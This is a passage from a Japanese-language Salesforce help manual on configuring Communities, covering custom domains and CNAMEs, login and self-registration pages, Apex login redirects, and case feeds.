明書と鍵の管理] を使用して証明書がすでに追加されていることを確認します。
認証機関署名証明書のみがサポートされ、長さは 2048 ビットである必要があり
ます。組織のサイトでホストされるすべてのドメインをサポートするには、ワ
イルドカードまたは Subject Alternative Name 証明書を使用します。
1. [設定] から、[クイック検索] ボックスに「ドメイン」と入力し、[ドメイン]

を選択します。
2. [ドメインを追加]をクリックします。
3. ドメイン名を入力します。
4. このドメインをサポートする認証機関署名証明書をすでに設定している場合

は、証明書を追加します。
5. [保存] をクリックしますまたは、[保存 & 新規] をクリックして複数のドメイ

ンを追加します。
1 つのドメインで複数のコミュニティをホストする予定の場合、それぞれのサイ
トにカスタム URL を設定する必要があります。カスタム URL は、そのドメイン内
のコミュニティを一意に区別する方法です。[設定] から、[クイック検索] ボッ
クスに「カスタム URL」と入力し、[カスタム URL] を選択します。
ドメイン名の CNAME を切り替えて新しい参照先名を指し示す前に、dig または nslookup を使用して、新し
い参照先名が DNS 内に存在することを確認します。ドメイン名が作成された時期に応じて、CNAME の参照先に
影響があります。
• Summer '13 より前に追加されたドメイン名の場合、通常、完全修飾ドメインに .live.siteforce.com  (組

織の force.com サブドメインではない) を付加した場所を参照するように CNAME を調整する必要がありま
す。たとえば、Summer '13 より前のドメインが www.example.com の場合、HTTPS が機能するには、CNAME
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の参照先を www.example.com.live.siteforce.com  (example.force.com ではない) にする必要があ
ります。

• Summer '13 以前に追加されたドメイン名の場合、CNAME 参照先内に 18 文字の組織 ID を使用しないでくださ
い。

• Summer '13 以降に追加されたドメイン名の場合、カスタムドメインに HTTPS を設定するために適切な場所が
すでに参照されています。

• Winter '14 以降に追加されたドメイン名の場合、完全修飾ドメインに 18 文字の組織 ID と
.live.siteforce.com を付加した場所を参照する CNAME を使用します。たとえば、ドメイン名が
www.example.com で 18 文字の組織 ID が 00dxx0000001ggxeay の場合、CNAME の参照先は
www.example.com.00dxx0000001ggxeay.live.siteforce.com である必要があります。

関連トピック:

ドメインの管理
ドメインおよびカスタム URL の管理
ドメインの追加

カスタマイズした コミュニティ HTML ヘッダーへのグローバル検索ボックスの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Communities を HTML ヘッダーでカスタマイズすると、グローバル検索
ボックスが非表示になります。この検索機能を利用するには、カスタムヘッダー
にフォームを追加します。
1. カスタマイズされた HTML ヘッダーで、次のようなフォームを埋め込みます。

<form action="/<community name>/search/SmartSearch" method="get">
<input id="phSearchInput" type="text" name="str"/>
<input type="submit" value="Search"/>

</form>

2. <コミュニティ名> は、コミュニティを作成するときに URL に使用した一意の値に置き換えてください。
たとえば、コミュニティの URL の一意の値に「customers」と入力した場合、フォームは次のようになり
ます。
<form action="/customers/search/SmartSearch" method="get">
<input id="phSearchInput" type="text" name="str"/>
<input type="submit" value="Search"/>

</form>
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コミュニティでのログイン、セルフ登録、およびパスワード管理

コミュニティのログイン、ログアウト、およびセルフ登録ページのカスタマイ
ズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティの標準のログイン、ログアウト、パスワード管理、およびセルフ
登録オプションを設定したり、Apex、Visualforce、またはコミュニティビルダー
(Site.com Studio) ページの動作をカスタマイズしたりします。
デフォルトでは、各コミュニティには、デフォルトのログイン、パスワード管
理、およびセルフ登録ページと、内部でこの機能を操作する関連Apexコントロー
ラが付属します。Visualforce、Apex、またはコミュニティビルダー (Site.com Studio)

を使用して、カスタムのブランド設定を作成したり、デフォルトの動作を変更
したりできます。
• デフォルトのログインページのブランド設定をカスタマイズする。
• デフォルトのログインページ動作の変更、カスタムログインページの使用、

他の認証プロバイダのサポートを行うことで、ログイン環境をカスタマイズ
する。

• ログアウト時にユーザを異なる URL にリダイレクトする。
• [パスワードの変更] および [パスワードを忘れた場合] カスタムページを使用

する。
• コミュニティでライセンスのないゲストユーザに対してセルフ登録を設定す

る。
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コミュニティのログインページのブランド設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

Salesforce タブ + Visualforce テンプレートを選択した場合、コミュニティにデフォ
ルトで付属している標準ログインページに会社のロゴとカスタムフッターテキ
ストを追加できます。
標準のログインページで使用されるヘッダーおよびページの背景色は、コミュ
ニティのブランド設定の配色から継承されます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [ログイン & 登録]をクリックし、[ヘッダーとフッター] セクションで

変更を加えます。
3. コミュニティのログインページヘッダーのロゴをアップロードします。

ファイルには、.gif、.jpg、または .png を使用できます。最大ファイルサイズ
は 100 KB です。幅が 250 ピクセル、高さが 125 ピクセルを超える画像は無効
です。ロゴをアップロードすると、[ドキュメント] タブにコミュニティで共
有するドキュメントフォルダが自動的に作成され、ロゴがそこに保存されま
す。一度作成されたフォルダは、削除できません。
ヘッダーのロゴは、標準ログインページの左上に表示されます。Salesforce1で
コミュニティにアクセスするときにも使用されます。ヘッダーのロゴは、カ
スタムログインページには表示されません。

4. コミュニティのログインページフッターに、カスタムテキストを 120 文字以
内で入力します。
フッターは、ログインページ下部に表示されます。このフッターテキストは、カスタムログインページに
は表示されません。

5. [保存] をクリックします。
ロゴおよびカスタムフッターテキストは、ログインページですべてのユーザ (内部ユーザ、外部ユーザ、ライ
センスのないゲストユーザ) に表示されます。

関連トピック:

コミュニティのログイン、ログアウト、およびセルフ登録ページのカスタマイズ
Apex を使用したログインプロセスのカスタマイズ
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コミュニティのログイン環境のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティの外部ユーザ向けのデフォルトのログインプロセスをカスタマイ
ズします。コミュニティビルダー、Site.com Studio、または Visualforce カスタムロ
グインページの使用、複数の認証プロバイダのサポート、テンプレートを使用
したシングルサインオンの設定も行えます。
外部ユーザとは、コミュニティライセンス、カスタマーポータルライセンス、
またはパートナーポータルライセンスを持つユーザです。
• コミュニティワークスペースまたは [コミュニティ管理]で選択するログイン

ページにより、Site.com または Force.com のサイト設定での他のログインペー
ジ割り当てが上書きされます。

• コミュニティで Salesforce タブ + Visualforce テンプレートを使用する場合、コ
ミュニティにデフォルトで割り当てられたログインページは
CommunitiesLogin と呼ばれます。このページの外観をカスタマイズする
には、Visualforce を使用します。

• コミュニティでカスタマーサービス (Napili)テンプレートを使用する場合、コ
ミュニティにデフォルトで割り当てられたログインページは Login と呼ば
れます。この外観をカスタマイズするには、コミュニティビルダーを使用し
ます。

• Visualforceとコミュニティビルダーの両方のページのログイン動作を更新する
には、CommunitiesLoginController  Apex コントローラを更新します。

• コミュニティビルダーのカスタムページは、コミュニティに割り当てる前に
公開する必要があります。カスタムログインページを使用する前に、CommunitiesLoginController  Apex

コントローラと Site.login()  Apex メソッドを必ず変更してください。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [ログイン & 登録] をクリックし、[ログイン] セクションで変更を加えます。
3. 必要に応じて、コミュニティのカスタムログインページを選択します。ページ種別 ([コミュニティビルダー]

または [Visualforce]) を選択し、検索項目にページ名を入力して、 をクリックします。検索結果ウィン
ドウで、ページ名をクリックして選択します。

ヒント: コミュニティのテンプレートのデフォルトのログインページに戻すには、[デフォルトページ]

を選択します。

4. 必要に応じて、[内部ユーザにコミュニティへの直接ログインを許可]を選択します。この設定により、内部
ユーザはコミュニティログインページで内部ユーザ名およびパスワードを使用できるようになります。
内部ユーザがコミュニティログインページから直接ログインするには、コミュニティのメンバーである必
要があります。内部ユーザがログインすると、コミュニティホームページが表示されます。

5. 表示するログインオプションを選択します。
デフォルトでは、ユーザはデフォルトのコミュニティユーザ名およびパスワードを使用してコミュニティ
にログインします。Facebook©、Janrain©、他の組織の Salesforceログイン情報など、他のログイン情報を使用
してユーザがログインできるようにするには、該当のログイン情報をリストから選択します。
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重要: これらの認証プロバイダオプションをコミュニティへのログインに使用できるようにするには、
事前に設定しておきます。[設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認
証プロバイダ] を選択します。

6. 必要に応じて、外部ユーザの SAML シングルサインオン ID を使用したログインを外部ユーザに許可します。
このオプションは、次のように組織でコミュニティの SAML の設定 (ページ3973)を正常に行った場合にのみ使
用できます。
• 企業 ID プロバイダを使用して Salesforce にログインできるようにする、シングルサインオン用の SAML 設

定。ID プロバイダのログイン URL を入力する必要があります。
• ログインページを含むすべてのページのアプリケーション URL を変更する、カスタムドメイン名。[私の

ドメイン] を有効化する必要がある場合は、サポートにお問い合わせください。
複数の SAML シングルサインオンオプションを提供するには、[クイック検索] ボックスに「シングルサイン
オン設定」と入力し、[シングルサインオン設定] を選択してから、[複数の設定を有効化] をクリックしま
す。SAML をすでに有効化した場合に、複数の SAML 設定を有効化すると、複数の設定で動作するように既
存の SAML 設定が自動的に変換されます。
ユーザには [シングルサインオンでログイン]のオプションが表示されます。複数の SAML シングルサインオ
ンオプションを有効化した場合は、各ログインボタンに SAML 設定の [名前] 項目でラベル付けされて表示
されます。

7. [保存] をクリックします。

メモ: デフォルトのログインページの名称変更または削除を行うと、デフォルトのコミュニティログイン
フローで問題が発生することがあります。

関連トピック:

コミュニティのログイン、ログアウト、およびセルフ登録ページのカスタマイズ

Apex を使用したログインプロセスのカスタマイズ

ユーザ権限

Visualforceページを作成し
編集する
• 「アプリケーションの

カスタマイズ」

Apex クラスを編集する
• 「Apex 開発」

および

「アプリケーションの
カスタマイズ」

社外のコミュニティメンバーに、自分の組織のスタイルとブランドを反映した
完全なカスタムログインページを提供できます。VisualforceとApexを使用して、
CommunitiesLogin ページと CommunitiesLoginController をカスタマイ
ズするか、独自の Visualforce ページを作成します。
デフォルトのコミュニティログインページからカスタムログインページにリダ
イレクトする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex ク

ラス] を選択します。
2. CommunitiesLoginController の横にある [編集] をクリックします。
3. 次のコードを追加します。

global PageReference forwardToCustomAuthPage() {
String startUrl = System.currentPageReference().getParameters().get('startURL');
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return new PageReference(Site.getPathPrefix() + '/SiteLogin?startURL=' +
EncodingUtil.urlEncode(startURL, 'UTF-8'));

}

4. 完全なカスタムログインページを作成したら、SiteLogin を Visualforce ページの名前で置き換えます。
5. [保存] をクリックします。
6. CommunitiesLandingController の横にある [編集] をクリックします。
7. 次のコードを追加します。

public PageReference forwardToCustomAuthPage() {
String startUrl = System.currentPageReference().getParameters().get('startURL');

return new PageReference(Site.getPathPrefix() + '/SiteLogin?startURL=' +
EncodingUtil.urlEncode(startURL, 'UTF-8'));

}

8. 完全なカスタムログインページを作成したら、SiteLogin を Visualforce ページの名前で置き換えます。
9. [保存] をクリックします。
10. [設定] から [クイック検索] ボックスに「Visualforce ページ」と入力し、[Visualforce ページ] を選択しま

す。
11. CommunitiesLogin の横にある [編集] をクリックします。
12. コードの第 1 行に、次のコードを追加します。

action="{!forwardToCustomAuthPage}"

13. [保存] をクリックします。
14. CommunitiesLanding の横にある [編集] をクリックします。
15. コードの第 1 行に、次のコードを追加します。

action="{!forwardToCustomAuthPage}"

16. [保存] をクリックします。
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ログアウト時におけるカスタム URL へのコミュニティメンバーのリダイレクト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティメンバーがコミュニティからログアウトするときのリダイレクト
先となる URL を指定します。
デフォルトでは、コミュニティメンバーがログアウトすると、コミュニティの
ログインページにリダイレクトされます。たとえば、会社の Web サイトなどの
異なる場所にリダイレクトすることができます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理ログイン & 登録] をクリックします。
3. [ログアウト] セクションに、コミュニティメンバーのリダイレクト先となる

URL を入力します。
4. [保存] をクリックします。

関連トピック:

コミュニティのログイン、ログアウト、およびセルフ登録ページのカスタマ
イズ

コミュニティのカスタム [パスワードの変更] および [パスワードを忘れた場合]
ページの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

デフォルトの [パスワードの変更] および [パスワードを忘れた場合] ページの代
わりに、コミュニティビルダーまたは Visualforceカスタムページを使用します。
[パスワードを忘れた場合] ページは、コミュニティビルダーまたは Visualforce で
カスタマイズできます。コミュニティビルダーでカスタマイズした [パスワード
を忘れた場合] ページを使用する場合は、最初にコミュニティビルダーでページ
を公開します。
[パスワードの変更] ページは、Visualforce でのみカスタマイズできます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理ログイン & 登録] をクリックします。
3. パスワードセクションで、[コミュニティビルダー]または [Visualforce]のペー

ジ種別を選択します。
4. ページの名前を入力するか、項目を空白のままにしてすべての使用可能な

ページを検索します。
5. をクリックし、検索結果でページの名前をクリックして選択します。
6. [保存] をクリックします。

3937

コミュニティでのログイン、セルフ登録、およびパス
ワード管理

Salesforce Communities の設定および管理



コミュニティのテンプレートのデフォルトのログインページに戻すには、ページ種別として [デフォルトペー
ジ] を選択します。

関連トピック:

コミュニティのログイン、ログアウト、およびセルフ登録ページのカスタマイズ

コミュニティのセルフ登録の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

セルフ登録を有効にして、ライセンスのないゲストユーザがコミュニティに参
加できるようにします。このようなユーザを、ビジネスアカウントで連絡先と
して保存することも、セルフ登録ユーザごとに個人アカウントを作成すること
もできます。
セルフ登録を有効にすると、次のVisualforceページおよびApexコントローラがコ
ミュニティに関連付けられます。
• CommunitiesSelfRegページおよび CommunitiesSelfRegController  —

パートナーまたは顧客がコミュニティに登録できるようにフォームを提供し
ます。CommunitiesSelfRegController  Apex コントローラを変更してデ
フォルトのセルフ登録プロセスを変更することはできますが、Spring '15 以降
のリリースではこの操作は必要ありません。

メモ: セルフ登録プロセスの Apex カスタマイズは、[コミュニティ管理]

またはコミュニティワークスペースで指定されたデフォルトより優先さ
れます。Spring '15 より前のリリースで作成された組織では、セルフ登録
の既存の Apex カスタマイズが引き続き有効になります。

• CommunitiesSelfRegConfirm ページおよび
CommunitiesSelfRegConfirmController  — ユーザがセルフ登録時にパ
スワード項目を空白のままにしたか、組織がセルフ登録フォームをカスタマ
イズしてパスワード項目を省略したため、ユーザがパスワードを作成しない
場合、このページによって、パスワードのリセットメールが送信されたこと
が確認されます。このページから開始するユーザは、パスワードをリセットするまでログインできません。

デフォルトのセルフ登録ページとコントローラは、組織内のすべてのコミュニティによって共有されます。複
数のコミュニティに対してセルフ登録を有効にする場合、セルフ登録の操作性をさらにカスタマイズして、
ユーザに異なるページを表示したり、異なるコミュニティに異なるプロファイルまたは権限セットを割り当て
たりする必要があります。

メモ: デフォルトのセルフ登録ページの名称変更または削除を行うと、デフォルトのセルフ登録フローで
問題が発生することがあります。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [ログイン & 登録] をクリックします。
3. [登録] セクションで、[外部ユーザにセルフ登録を許可] を選択します。
4. 必要に応じて、コミュニティのカスタムセルフ登録ページを選択します。ページ種別 ([Community Builder]

または[Visualforce]) を選択し、検索項目にページ名を入力して、 をクリックします。検索結果ウィンド
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ウで、ページ名をクリックして選択します。デフォルトのセルフ登録ページ (CommunitiesSelfReg) に戻
すには、[デフォルトページ] を選択します。
コミュニティビルダーページは、ページのルックアップ検索結果に含まれるように公開する必要がありま
す。カスタムページを使用する場合は、セルフ登録の CommunitiesSelfRegController と
CommunitiesSelfRegConfirmController  Apex コントローラを必ず変更してください。

5. セルフ登録ユーザに割り当てるデフォルトの [プロファイル] を選択します。

メモ: コミュニティに関連付けられているポータルプロファイルしか選択できません。プロファイル
がセルフ登録するユーザのデフォルトとして選択されている場合に、そのプロファイルをコミュニ
ティから削除すると、セルフ登録の [プロファイル] が自動的に [なし] にリセットされます。

6. セルフ登録ユーザを割り当てるビジネス [アカウント] を選択します。
セルフ登録ユーザは、指定したアカウントの連絡先として割り当てられます。セルフ登録ユーザごとに個
人アカウントを作成する (有効な場合) ときは、この項目を空白にします。
使用する取引先がパートナーとして有効になっていることを確認します。これを行うには、取引先に移動
して [[外部取引先の管理]] をクリックし、[[パートナーとして有効化]] をクリックします。

7. [保存] をクリックします。
セルフ登録を設定したら、[メンバーではありませんか?] リンクにより、外部ユーザがログインページからセ
ルフ登録ページに移動されます。ユーザがセルフ登録してコミュニティに参加すると、次のようになります。
• Salesforce により、セルフ登録ページでユーザが提供した情報を使用して新しいユーザレコードが作成され

る。
• セルフ登録の設定時に指定したプロファイルにユーザが割り当てられる。
• 設定に応じて、ビジネスアカウントまたは個人アカウントにユーザが関連付けられる。
• カスタマーコミュニティプラスライセンスおよびパートナーコミュニティライセンスを使用している場合

は、ユーザレコードを組織のロールに関連付ける必要がある。デフォルトのセルフ登録プロファイルでロー
ルを指定しないと、Salesforce により [作業者] ロールが割り当てられます。

メモ: ユーザがセルフ登録するたびに、1 つのコミュニティライセンスが使用されます。セルフ登録ペー
ジの設定時には、条件を追加して適切なユーザがサインアップするようにしてください。また、未承認
のフォーム登録を回避するため、セルフ登録ページで CAPTCHA や非表示項目などのセキュリティメカニ
ズムを使用することをお勧めします。

関連トピック:

コミュニティのログイン、ログアウト、およびセルフ登録ページのカスタマイズ
Apex を使用したコミュニティセルフ登録プロセスのカスタマイズ
セルフ登録ユーザの個人アカウントの作成
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セルフ登録ユーザの個人アカウントの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

個人との取引がほとんどの場合、1 つの企業アカウントでそれぞれを連絡先とし
て作成する代わりに、各セルフ登録ユーザを個人アカウントに割り当てること
ができます。

重要: 組織で個人アカウントが有効化されている必要があります。個人ア
カウントの作成は、カスタマーコミュニティおよびカスタマーコミュニティ
プラスライセンスでのみサポートされています。

コミュニティワークスペースまたは [コミュニティ管理] の [管理] > [ログイン &

登録] でセルフ登録を有効にし、[取引先] 項目を空白のままにします。セルフ登
録ユーザに割り当てるデフォルトプロファイルを指定します。
Salesforce によって、セルフ登録ユーザごとに個別の個人アカウントが作成され
ます。各ユーザには、セルフ登録の設定時に指定したデフォルトプロファイル、およびデフォルトロールが割
り当てられます。プロファイルまたはセルフ登録 Apex コントローラでロールを指定しない場合、Salesforce に
よって Worker ロールがセルフ登録ユーザに割り当てられます。セルフ登録 Apex コントローラ
(CommunitiesSelfRegController) を使用してこの機能をさらにカスタマイズできますが、必須ではありま
せん。
個人アカウントを手動で作成して、カスタマーコミュニティおよびカスタマーコミュニティプラスライセンス
を持つコミュニティユーザに割り当てることもできます。

関連トピック:

個人取引先とは?

個人取引先の有効化

Apex を使用したコミュニティセルフ登録プロセスのカスタマイズ
CommunitiesSelfRegController を更新して、コミュニティへのデフォルトのセルフ登録プロセスをカス
タマイズします。デフォルトのセルフ登録ページ (CommunitiesSelfReg) と同じコントローラを使用するか、
Visualforce またはコミュニティビルダーのカスタムセルフ登録ページを使用できます。
コミュニティワークスペースまたは [コミュニティ管理]でセルフ登録全体を設定できます。このカスタマイズ
は、セルフ登録の動作をデフォルトから変更する場合、組織に複数のコミュニティがある場合、またはカスタ
ムセルフ登録ページを使用している場合にのみお勧めします。

メモ: Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、または Sandbox 組織を使用してい
る場合にのみ、Salesforce ユーザインターフェースを使用して Apex を追加、編集、または削除できます。
Salesforce の本番組織の場合、Apex に変更を加えるには、メタデータ API deploy コール、Force.com IDE、ま
たはForce.com 移行ツールを使用する必要があります。Force.com IDEおよびForce.com 移行ツールは、Salesforce

がユーザとパートナーをサポートするために提供する無料のリソースですが、Salesforceマスターサブスク
リプション契約 (MSA) を趣旨とする当社サービスの一部とはみなされていません。

1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラス] を選択します。
2. CommunitiesSelfRegController の横にある [編集] をクリックします。
3. 必要に応じて、ProfileIdに値を入力し、ユーザに割り当てる必要のあるプロファイルのタイプを定義し

ます。
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セルフ登録を設定するときにデフォルトプロファイルを選択した場合、Apex コード内の値でデフォルトが
上書きされます。

メモ: roleEnum に入力したロールに関係なく、新規ユーザのロールはデフォルトの None になりま
す。ユーザがセルフ登録を完了すると、ユーザ詳細ページでユーザのロールを更新できます。

4. セルフ登録したユーザに関連付ける必要のあるパートナー取引先またはカスタマー取引先の取引先 ID を入
力します。
セルフ登録を設定するときにデフォルトの取引先を選択した場合、Apex コード内の値でデフォルトが上書
きされます。
使用する取引先がパートナーとして有効になっていることを確認します。これを行うには、取引先に移動
して [[外部取引先の管理]] をクリックし、[[パートナーとして有効化]] をクリックします。

5. 複数のコミュニティに対してセルフ登録を有効にする場合、コードを追加してコミュニティごとに該当す
るタイプのユーザを作成します。つまり、適切なプロファイル、ロール、および取引先 ID をコミュニティ
ごとに割り当てます。

6. [保存] をクリックします。
7. ゲストプロファイルの取引先および取引先責任者へのアクセスを有効にします。ゲストプロファイルは、

コミュニティの Force.com サイトに自動的に関連付けられます。
a. [設定] から、[クイック検索] ボックスに「すべてのコミュニティ」と入力し、[すべてのコミュニティ] を

選択してコミュニティの横にある [コミュニティワークスペース] または [管理] をクリックします。
b. [管理] > [ページ] をクリックし、さらに [Force.com に移動] をクリックします。
c. [公開アクセス設定] をクリックします。
d. [編集] をクリックします。
e. [標準オブジェクト権限] セクションで、取引先と取引先責任の横にある [参照] および [作成] を選択しま

す。
f. [保存] をクリックします。
g. [有効な Apex クラスアクセス] 関連リストで、[編集] をクリックします。
h. CommunitiesSelfRegController を追加し、[保存] をクリックします。
i. [有効な Visualforce ページアクセス] 関連リストで、[編集] をクリックします。
j. CommunitiesSelfReg を追加し、[保存] をクリックします。

8. デフォルトのセルフ登録ページの内容をカスタマイズする場合は、必要に応じて CommunitiesSelfReg

ページを編集します。
a. [設定] から [クイック検索]ボックスに「Visualforce ページ」と入力し、[Visualforceページ]を選択し

ます。
b. CommunitiesSelfReg の横にある [編集] をクリックします。
c. セルフ登録に必要な項目、またはページのデザインをカスタマイズするためのコードを追加します。

デフォルトフォームでは、[パスワード] 以外のすべての項目が必要です。
d. [保存] をクリックします。
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設定が完了したら、入力済みのセルフ登録フォーム (パスワードを含む) を送信した外部ユーザのコミュニティ
へのログインが行われるようになります。

メモ: Chatter アンサーが有効なコミュニティにユーザがセルフ登録した場合、ユーザの Chatter アンサー
ユーザ権限は自動的には設定されません。

デフォルトの CommunitiesSelfRegページではなく、Visualforceのカスタムセルフ登録ページを使用している
場合、次のコードを CommunitiesSelfRegController に追加します。CommunitiesCustomSelfRegPage

をカスタムセルフ登録ページの名前に置き換えます。次に、CommunitiesSelfReg ページの最初のコード行
にこのコードを追加します。

コミュニティでのその他の Salesforce 機能の使用

コミュニティユーザに対するケースの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティユーザに対
してケースを有効化する
• 「プロファイルと権限

セットの管理」

外部ユーザに対してケースを有効化し、コミュニティ内でケースのアクセスや
作成ができるようにします。
コミュニティ内の外部ユーザに対してケースを有効化すると、ケースをそれら
のメンバーに割り当てることができます。さらに、外部ユーザは、ケースの編
集、ケースの新規作成、ケースコメントの追加、ケースの再割り当て、ケース
ソリューションの検索、およびケースチームの作成を行えます。外部ユーザは、
ケースコメントの編集、納入商品とケースの関連付け、ケースの削除は行えま
せん。

メモ: コミュニティの外部ユーザが追加したケースコメントは公開され、
ケースを参照できるすべてのユーザが参照できます。

1. [ケース] タブをコミュニティで使用可能なタブのリストに追加します。
2. タブ表示と、「参照」、「作成」、および「編集」オブジェクト権限を設定

します。これらをプロファイルに設定することも、権限セットを使用して設
定こともできます。これらの権限を選択的に適用する場合は、権限セットを
使用することをお勧めします。
a. パートナーコミュニティプロファイルなどのプロファイルを使用する場

合、ケースタブ設定を [デフォルトで表示]に設定し、ケースに対する「参照」、「作成」、および「編
集」オブジェクト権限を有効化します。

b. 権限セットを使用する場合、次の設定でケースに対する権限セットを作成します。
• [タブの設定] で [利用可] および [参照可能] を選択します。
• [オブジェクト設定] で [参照]、[作成]、および [編集] を選択します。
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取引先責任者に対するケースコメント通知が有効になっている場合、外部ユーザに送信されるメールにはコ
ミュニティへのリンクが含まれます。取引先責任者に送信されるケース作成および更新通知メールにも、コ
ミュニティへのリンクが含まれます。

関連トピック:

コミュニティの差し込み項目
ケースフィードのポータル返信メール通知の有効化

コミュニティケースフィードの設定

コミュニティケースフィード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティケースフィードでエージェントとコミュニティメンバーが開始か
ら完了までのケースのライフサイクルを確認できます。すべてのケースのやり
とりは、統合された時系列の Chatter ケースフィードに表示されます。コミュニ
ティメンバーはこのChatterの追加機能を有効活用でき、サポート側の機能によっ
て効率的な個人サポートを提供できます。
コミュニティケースフィードは、コミュニティユーザが自分のケースを管理で
きる、直観的な環境を提供します。内部および外部ユーザには、コミュニティ
ケースフィードに次のやりとりが表示されます。
• Chatter テキスト、ファイル、およびリンク投稿
• ケースに関連付けられた Chatter の質問
• ケースメール

メモ: ケースメール表示についての詳細は、「コミュニティケースフィードのメール」を参照してく
ださい。

• Salesforce システム管理者が有効化している場合はケースに対する参照のみのソーシャル投稿
x

カスタマーサービス (Napili) テンプレートで構築されたコミュニティのコミュニティケースフィード:
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ユーザはパブリッシャー (1)を使用して、投稿の作成やケースへのファイルの添付を行います。フィード (2)に
は、Chatterのコラボレーションツールが完全に装備されています。ユーザは、投稿のブックマーク、いいね!、
およびコメントや、他のユーザへのメンションを行うことができます。画像とコメントはインラインで表示さ
れるため、フィードの詳細を簡単に確認できます。[添付ファイル] コンポーネント (3) には、すべてのケース
添付ファイルが表示されます。
コミュニティケースフィードが有効な場合、サポートエージェントは次の操作ができます。
• コンソールケースフィードで [コミュニティ] アクションを使用して、コミュニティの質問に回答したり、

ケースに関する非公開および公開の Chatter 投稿を作成したりする
• 外部ユーザのコミュニティケースフィードで公開済み投稿またはメールを公開または非表示にする
コミュニティケースフィードは、セルフサービスコミュニティテンプレート、またはSalesforceタブと Visualforce

テンプレートで構築されたすべてのコミュニティで使用できます。
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既知の問題
• テンプレートで構築されたコミュニティでは、コミュニティケースフィードのメールにインライン画像と

クリック可能リンクが表示されません。
• Koa または Kokua コミュニティテンプレートで構築されたコミュニティでは、コミュニティケースフィード

のユーザの名前がリンクのように表示されますが、どこにもリンクされません。

関連トピック:

コミュニティケースフィードの考慮事項
コミュニティケースフィードの設定
コミュニティケースフィードでの公開済み投稿またはメールの公開または非表示

コミュニティケースフィードの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティケース
フィードを有効にする
• 「アプリケーションの

カスタマイズ」
• 組織でのコンパクト

ケースフィードの有効
化

コミュニティケースフィードでは、統合されたフィードでコミュニティユーザ
とサポートエージェントがすべてのケースのやりとりを表示できます。また、
エージェントはより多くのアクションをコンソールから直接実行できます。コ
ミュニティケースフィードを設定するには、組織で有効にし、コミュニティの
ケースページが適切に設定されていることを確認します。

重要: コミュニティケースフィードを設定する前に、「コミュニティケー
スフィードの考慮事項」を確認してください。

1. コミュニティケースフィードを有効にします。
a. [設定] から、[クイック検索] ボックスに「サポート設定」と入力し、[サポー

ト設定] を選択します。
b. [コミュニティケースフィードを有効化] を選択します。
c. 必要に応じて、[ケース投稿のメール通知を有効化]を選択します (推奨)。
d. [保存] をクリックします。

2. コミュニティが Salesforce タブと Visualforce を使用して構築された場合、ケー
スページに Chatter フィードが含まれていることを確認します。

3. コミュニティで Koa、Kokua、またはカスタマーサービス (Napili)テンプレート
を使用している場合、有効なケースの詳細ページがコミュニティケースフィー
ドをサポートしていることを確認します。
a.

コミュニティビルダーで、 をクリックします。
b. [ページ管理] をクリックします。
c. [名前] 列で [ケースの詳細] を検索し、割り当てられている有効なページが [Chatter のケースの詳細] (デフォ

ルト) または [レコードの詳細]であることを確認します。
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有効なケースの詳細ページを変更した場合は、変更を公開します。

重要: コミュニティケースフィードが有効になっていて、[基本ケースの詳細] を有効なケースの詳
細ページとして使用している場合、外部ユーザのケースフィードにはケースコメントのみが表示さ
れます (Chatter 投稿およびメールは表示されません)。これにより外部ユーザへのケースの表示は大
幅に制限されます。ユーザにそれぞれのケースのやりとりを完全に表示するには、[Chatter ケース
の詳細] または [レコードの詳細] を有効なケースの詳細ページとして使用します。

コミュニティケースフィードの考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

